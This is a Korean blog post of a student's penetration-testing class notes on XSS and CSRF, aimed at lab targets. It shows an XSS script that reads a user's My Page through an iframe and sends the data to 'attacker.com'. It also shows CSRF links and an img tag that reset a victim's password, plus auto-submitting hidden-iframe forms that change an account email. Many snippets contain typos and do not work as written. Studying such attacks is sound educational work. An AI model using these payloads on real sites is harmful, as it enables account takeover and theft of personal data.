카테고리 없음

12주차 모의 해킹 공부 이야기

h/bhacker 2025. 1. 11. 18:32

12주차 수업

 

현재 전 까지 했던 것 간단히 정리

1. Web 기본

2. (서버 측 공격)SQL Injection

3. (클라이언트 측 공격) XSS(크로스 사이트 스크립트 취약점) (Client Script)

4. CSRF

 

Client Script

다른 페이지에 있는 정보를 가져오는 연습

XSS : 클라이언트 스크립트 삽입 공격

 

>(만약) 게시판의 글에서 XSS 취약점이 일어 났다. 그래서 내가 삽입한 스크립트가 실행되었다. 그런데 만약 게시판 글 페이지를 봤던 사람이 지금 보고 있는 페이지가 아니라 다른 페이지로 이동 했다면 내가 삽입한 스크립트는 이동한 페이지에도 유효할까?(삽입이 되어 실행 될까?) -> 안된다.

 

게시판 글 등록 페이지에서 스크립트 삽입이 가능 했는데 궁금 한 것은 이 스크립트 삽입 가능한 페이지에서 내 정보를 보는 My Page에 젒근을 하면 나오는 개인 정보들을 가져 올 수 있는가의 여부임.(이것도 과연 자바스크립트로 가능한가)

->(가능하다.) 결과는 자져올 수 있다.

 

 

*다른 페이지에 존재하는 데이터를 가져오는 Script

(다른 페이지에 존재하는 데이터를 가져오려면 그 다른 페이지 창을 띄워야 한다, 그것이 <iframe><iframe>인데 이 iframe태그를 사용하게 되면 iframe 태크 안에 다른 페이지 창을 띄울 수 있다. )

<iframe></iframe>

 

(어떻게 사용해야 가져올까? 자바스크립트에서는 docum.getElementById또는 docum.getElementByclassName 등이 있음)

(document 객체를 접근하려면 getElementById또는 docum.getElementByName 이런 것을 사용해야 함. 그렇게 하려면 Frame 안에서 document객체를 가져와야 한다. 그것은 myFrame.contentDocument.document를 가져오고 뒤는 똑같이 getElementById docum.getElementByclassName 혹은 getElementByName을 작성하면 된다.작성해서 가지고 오면 공격자 서버로 보내야 한다. 공격자 서버로 보내는 것은 쿠키 값 가져올 때처롬 get방식으로 img(이미지 태그)를 사용한다. 그러면 img라는 이미지 태그가 생성되그 소스속성은 프로퍼티의 .()을 이용하여 접근할 수 있다. i.을 이용해 src=“”에 공격자 서버 주소(경로)를 적고 + data;를 붙여주면 저 요청을 공격자서버로 보낸다. data는 우리가 지정한 var data에 담긴다.

 

(src에는 http해서 풀경고를 적어도 됨)

 

<iframe id=’myFrame’ src=“mypage.php”></iframe>

<script>

var myFrame = document.getElementById(‘myFrame);

 

var data = myFrame.contentDocument.getElementById

 

var I = new Image();

i.src = “https://attacker.com/?” + data;

</script>

<img src=“”

 

여기까지가 저번11주차에서 배운 것과 연습한 것이다.

----------------------------------------------------------------------------------------------

 

CSRF (Cross Site Request Forgery)

요청을 위조 하는 것이다.

(나는 서버에 어떤 요청을 한적이 없지만 나도 모르게 그) 요청을 하게 만드는 것

핵심 피해자가 자신이 원하지 않았고 자신도 모르게 서버로 요청(공격자가 원하는 요청)을 하게 만드는 것

 

예시)

(비밀번호가 바뀌때에는 서버에게 vulnerabilites/csrf/? 이런 요청을 하고 있는데 이 주소에 password_new=1234&password_conf=1234&Change=Change 이 요청을 서버에게 보내게 만들면 그 사람의 비밀번호를 1234로 바꿀 수 있다.

저 주소를 위조할 것인데 이 주소가 get방식이니 주소를 capy하고 (서버에게 저주소를 요청을 하는 순간 내비밀번호 1234로 바꿔줘라고 하는 것임)

 

https://192.168.50.144/vulnerabilites/csrf/?password_new=1234&password_conf=1234&Change=Change

 

피해자가 서버에게 어떻게 요처을 할까?

저 주소를 클릭하게 하면 면된다.

*○○○님 아래 사이트 좀 확인해 주세요(하고 링크 남김)

https://192.168.50.144/vulnerabilites/csrf/?password_new=1234&password_conf=1234&Change=Change

피해자가 클릭을 하게됨

 

CSRF VS XSS

CSRF : 스크립트를 삽입하지 않아도 무엇이 되었던 간에 피해자가 서버에게 요청을 하는 것

XSS : 클라이어츠 측에서 스크립트 삽입하는 것 자바스크립트, 스크립트를 삽입하여 공격하는 것

둘 다 클라이언트 측 공격임

 

-----------------------------------------------------------------------------------------------

>CSRF (feat.XSS) (CSRFXSS와 연계를 하면 엄청난 공격이 된다.)

Zero Click

(같이 연계해서 사용하면 클릭을 안해도 된다.)

 

ex) 만약 게시판에 스크립트를 사용할 수 있다면

<img scr“https://192.168.50.144/vulnerabilites/csrf/?password_new=1234&password_conf=1234&Change=Change”>

이렇게 하면 끝이다.

 

XSS가 없다면? => (무조건)CSRF가 없나요? -> NO

XSS가 없어도 아래처럼 하면 되기 때문에 XSS가없으면 무조건 CSRF가 없는 것아님

*○○○님 아래 사이트 좀 확인해 주세요(하고 링크 남김)

https://192.168.50.144/vulnerabilites/csrf/?password_new=1234&password_conf=1234&Change=Change

 

, 별개의 취약점이라고 생각해야 함

---------------------------------------------------------------------------------------------

CSRF취약점은 어디에서 확인할 수 있나요?

(정확히 말하면) 요청을 위조하는 공격, 요청을 하게 만드는 공격임. 그렇기 때문에 모든 요청에서 CSRF가 일어날 수 있다.

 

CSRF

LINK -> GET

POST Method CSRF 취약점을 없애려면 <from> </from> 삽입해야함 from 태크를 작성하ㅕ면 XSS취약점이 있어야 한다.

1.

CSRFXSS 연계 (from 추가 하면 된다.)

버튼 클릭 유도 하면 끝

2.

(잘 안될 수 도 있으니)

전송을 자동화 해볼 것이다 (어떻게? => XSS를 이용함)

<script>를 이용함 이벤트 핸들러나 자바스크립트로 가능하다. from태그를 getElementById로 가지고와서 submit하면 된다.

 

3.2번을 SUBMIT를 할 건데 이것을 IFRAM으로 할 수있다. src지정 안함 why-> Input가 페이지 이동이 아나고 ifram에 집어 넣을 것이기 때문임.

Iframid를 지정할 수 있기 때문에 id를 지정함

게시판 보드 없애 때 width=“0” height=“0” border=“0 style=“display:none;”이렇게 해도 되고 display=“0”으로 해도됨

 

 

 

 

ex)1.

<h1>Click This !!!</h1>

<from method=“POST” action=“https://0ae2006504a3dcc480da178a0027009c.web-security-academy.net/my-account/chang-email”>

<input type=“hidden” name=“email” value=“normal%40test.com”/>

<input type=“submit” value=“Click Me”/>

</from>

 

 

2.

<h1>Hello~~~!</h1>

<from method=“POST” action=“https://0ae2006504a3dcc480da178a0027009c.web-security-academy.net/my-account/chang-email”>

<input type=“hidden” name=“email” id=“myForm” value=“normal%40test.com”/>

</from>

 

<script>

document.getElementById(‘myForm’).submit();

</script>

 

3. <h1>Hello~~~!</h1>

 

<ifram name=“stelthFram” style=“display:none;”></ifram> name 옆에 target=“stelthFram”을 적으면 iframstelthFram에 집어넣어짐

 

<from method=“POST” action=“https://0ae2006504a3dcc480da178a0027009c.web-security-academy.net/my-account/chang-email” id=“myForm” target=“stelthFram”>

<input type=“hidden” name=“email” value=“normal%40test.com”/>

</from>

 

<script>

document.getElementById(‘myForm’).submit();

</script>

 

----------------------------------------------------------------------------------------------

*CSRF Token

CSRF 공격을 막기 위해 만든 랜덤한 토큰

 

마이페이지

->토큰

 

<from>

<input>

<input type=“hidden” name=“csrfT0ken” value=“fewfjweifjewifjiewjad”>

</from>

 

링크 주소 Token=ewfjweifjewifjiewjad 이런 식으로 주소 뒤에 토큰을 넣어보내야 이 토큰과 세션에 저장된 토큰을 비겨함 토큰이 맞다면 통과시켜줌